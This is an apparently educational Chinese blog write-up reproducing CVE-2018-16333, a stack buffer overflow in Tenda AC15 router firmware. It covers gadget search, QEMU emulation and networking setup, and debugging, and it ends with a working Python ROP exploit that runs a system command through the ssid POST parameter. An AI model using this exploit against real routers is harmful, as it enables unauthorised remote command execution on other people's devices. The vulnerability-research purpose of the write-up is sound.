前言
开始学习IOT的漏洞挖掘和利用,网上没有发现该CVE的复现文章,于是拿来练练手,并摸熟IOT的环境搭建过程。CVE-2018-16333是个比较简单的栈溢出漏洞,影响AC9、AC7、AC10、AC15、AC18 等多款产品,此次分析采用US_AC15V1.0BR_V15.03.05.19_multi_TD01固件版本进行分析复现。
固件和poc可在github下载:https://github.com/Snowleopard-bin/pwn/tree/master/IOT/Tenda_CVE-2018-16333
漏洞分析
首先查看程序开启的保护机制,可以发现没有开启PIE和canary保护。
根据CVE的描述,There is a buffer overflow vulnerability in the router’s web server. While processing the ssid parameter for a POST request, the value is directly used in a sprintf call to a local variable placed on the stack, which overrides the return address of the function, causing a buffer overflow.漏洞的原因是web服务在处理post请求时,对ssid参数直接复制到栈上的一个局部变量中导致栈溢出。根据ssid字符串定位到form_fast_setting_wifi_set函数。
程序获取ssid参数后,没有经过检查就直接使用strcpy函数复制到栈变量中。其中有个细节:第一次的strcpy如果要溢出到返回地址,会覆盖第二次的strcpy的参数dst。因此,为了将src指针覆盖为有效地址,并且不影响第一次的strcpy,我选择在libc中选择一个可读地址覆盖src指针。
搜索可用的gadget
╰─➤ ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc} #gadget1
╰─➤ ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3 #gadget2
利用过程:
- 1、溢出后跳到第一个gadget1,控制r3寄存器为system函数地址,第一个pc控制为gadget2
- 2、跳转到gadget2后,控制r0为要执行的命令即可
- 3、执行system(cmd)
qemu用户级调试
安装qemu-user-static
sudo apt install qemu-user-static
安装完成后将qemu-arm-static赋值到文件系统目录squashfs-root下,启动httpd服务
cp $(which qemu-arm-static) ./qemu
sudo chroot ./ ./qemu ./bin/httpd
启动后卡在Welcome to …后面,因为程序会检查网络,用IDA将如下两个函数的返回值patch为1
将patch后的程序替换原来的httpd,重新启动
程序监听的ip地址是255.255.255.255,应该是网络配置问题。
根据httpd listen ip =
字符串 <- sub_1b84c <- sub_29818 根据g_lan_ip
全局变量 <- sub_2E420。
//sub_2E420
v2 = getLanIfName();
if ( getIfIp(v2, &v15) < 0 )
{
GetValue((int)"lan.ip", (int)&s);
strcpy(g_lan_ip, &s);
memset(&v11, 0, 0x50u);
if ( !tpi_lan_dhcpc_get_ipinfo_and_status(&v11) && v11 )
vos_strcpy(g_lan_ip, &v11);
}
文章说大概的流程就是去寻找br0这个网络接口的IP,并在这个ip进行监听。
此时建立虚拟网桥br0,重新启动。
#本机的ens33是我上网的网卡
sudo su
apt-get install bridge-utils
apt-get install uml-utilities
brctl addbr br0
brctl addif br0 ens33
ifconfig br0 up
dhclient br0
但是结果中没有输出hello,而是执行完system函数后返回gadget中继续执行后面的代码导致错误退出。有的大佬说可能是因为是用户级模拟,打印不出system指令。因此接下来使用qemu系统级模拟固件运行进行调试。
qemu系统级调试
qemu虚拟机主要问题是如何解决qemu虚拟机与host主机之间的网络通信问题,这样才能将固件和调试工具上传到qemu虚拟机里。这里参考了文章进行qemu网络配置环境搭建。
首先简要介绍qemu虚拟机通过网桥工作模式。网桥可以看作将若干个网卡连接起来的网桥,一个网络接口的数据可以通过网桥转发给另一个接口,实现网络通信。
tun/tap网卡工作模式:
普通的物理网卡是通过物理链路来收发数据,而tun/tap 是通过/dev/net/tun来收发数据,一端连着/dev/net/tun,一端连着协议栈。
- tun网卡:工作在三层网络层,能处理IP数据包并支持路由功能。
- tap网卡:工作在二层链路层,能处理mac层数据包,支持mac层广播,可以与物理网卡做桥接,主要用在虚拟机通讯。
qemu虚拟机将/dev/net/tun设备作为文件描述符进行读写,通过tap0网卡与host的协议栈进行数据交互。
#宿主机
sudo su
# 安装配置网络的工具
apt-get install bridge-utils
apt-get install uml-utilities
#我的宿主机的上网的网卡为ens33,并且存在多个虚拟网卡
ifconfig ens33 down # 首先关闭宿主机网卡接口
brctl addbr br0 # 添加一座名为 br0 的网桥
brctl addif br0 ens33 # 在 br0 中添加一个接口
brctl stp br0 on #打开生成树协议
brctl setfd br0 2 # 设置 br0 的转发延迟
brctl sethello br0 1 # 设置 br0 的 hello 时间
ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口
dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
brctl show br0 # 查看虚拟网桥列表
brctl showstp br0 # 查看 br0 的各接口信息
tunctl -t tap0 # 创建一个 tap0 接口
brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
ifconfig tap0 192.168.198.100/24 up #为tap0分配ip地址
brctl showstp br0 # 显示 br0 的各个接口
此时查看br0网桥各接口的信息如图,其中tap0的状态应该为disable,等qemu-system-mips启动后就会变为forwarding转发模式。
其中br0、ens33和tap0的ip应该要在同一个网段。在其他文章大部分br0和ens33(上网的网卡)的ip地址是一样的,然而我自己配置完后通过br0虚拟网卡通过DHCP获取的ip地址与ens33的ip不一样,并且通过实验证明也是可行的,但是可以观察到br0和ens33的Mac地址是一样的。
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
-net nic 表示希望 QEMU 在虚拟机中创建一张虚拟网卡,-net tap 表示连接类型为 TAP,-ifname指定了网卡接口名称(就是刚才创建的 tap0,相当于把qemu虚拟机接入网桥)。script 和 downscript 两个选项的作用是告诉 QEMU 在启动系统的时候是否调用脚本自动配置网络环境,如果这两个选项为空,那么 QEMU 启动和退出时会自动选择第一个不存在的 tap 接口(通常是 tap0)为参数,调用脚本 /etc/qemu-ifup 和 /etc/qemu-ifdown。由于我们已经配置完毕,所以这两个参数设置为 no 即可。
启动之后,eth0网卡没有分配ip地址,并且没有像参考文章中所说那样就可以与宿主机通信(也就是ping不通),这时需要再qemu虚拟机中给eth0网卡设置ip地址。然后就能愉快地使用scp上传文件系统了。
#宿主机
sudo tar -zcvf ../../squashfs-root.tar.gz ./
#qemu虚拟机
ifconfig eth0 192.168.198.76/24 up
scp leo@192.168.198.100:/home/leo/Downloads/CVE-2018-16333/squashfs-root.tar.gz /root/squashfs-root.tar.gz
tar xzf squashfs-root.tar.gz && rm squashfs-root.tar.gz
mount -o bind /dev /root/dev && mount -t proc /proc /root/proc
chroot /root sh
brctl addbr br0 #添加br0虚拟网卡
ifconfig br0 192.168.198.76/24 up
./bin/httpd&
- 【踩坑提醒】如果是用armel版本的虚拟机镜像,就会出现以上错误,需要用armhf版本。qemu虚拟机退出方法:同时按ctrl+a之后,再按c,出现(qemu)时输入q即可退出。
环境已经正常启动了,可以用过宿主机访问qemu中的web服务
去github中下载静态编译好的gdbserver
scp leo@192.168.198.100:/home/leo/Downloads/CVE-2018-16333/gdbserver-7.7.1-armhf-eabi5-v1-sysv /root/gdbserver && chmod +x gdbserver
使用gdbserver启动httpd程序,设置端口为9999
./gdbserver 0.0.0.0:9999 ./bin/httpd
在宿主机中,使用gdb-multiarch来进行远程调试
gdb-multiarch -q ./bin/httpd
set arch arm
tar rem 192.168.198.76:9999
b *0x6775c
c
最后几行需要ctrl+c才能输出,根据信息回到ida中找到对应的位置。
它们都是通过send_msg_to_netctrl函数输出在终端的,但是在网上没找到对这些函数详细的说明,我猜测是在之前调用的ConnectCfm与远程设备连接后,通过该函数发送一些报文给网络控制器。但是由于之前的ConnectCfm我们是patch过的,所以在这步出现错误也是情理之中。同样我们将它patch掉。
重新启动后能在结束时看到hello字符串。接着我在qemu中直接运行./bin/httpd
,运行poc.py后报了段错误。使用gdbserver启动的程序和直接运行的结果不一致,卡了一段时间后发现gdbserver启动的环境和直接运行不一样,于是我试着先启动程序再用gdbserver附加到进程上。果然,发现每次启动libc的基址都不同。这时需要将地址随机化关掉。
echo 0 > /proc/sys/kernel/randomize_va_space
成功执行system(“echo hello”)!
poc如下:
import requests
from pwn import *
cmd="echo hello"
'''
qemu-user
'''
#libc_base = 0xf659c000
'''
qemu-system
'''
libc_base = 0x76dab000
dosystemcmd = 0x76f930f0
system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = 'a'*(0x60) + p32(readable_addr) + 'b'*(0x20-8)
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.198.76/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=12345"}
data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
Reference
写给初学者的IoT实战教程之ARM栈溢出
Tenda漏洞环境搭建与复现
Tenda AC15 栈溢出漏洞调试
ubuntu下qemu虚拟机实现和主机以及互联网通信
QEMU 网络配置一把梭
qemu虚拟机网桥通讯过程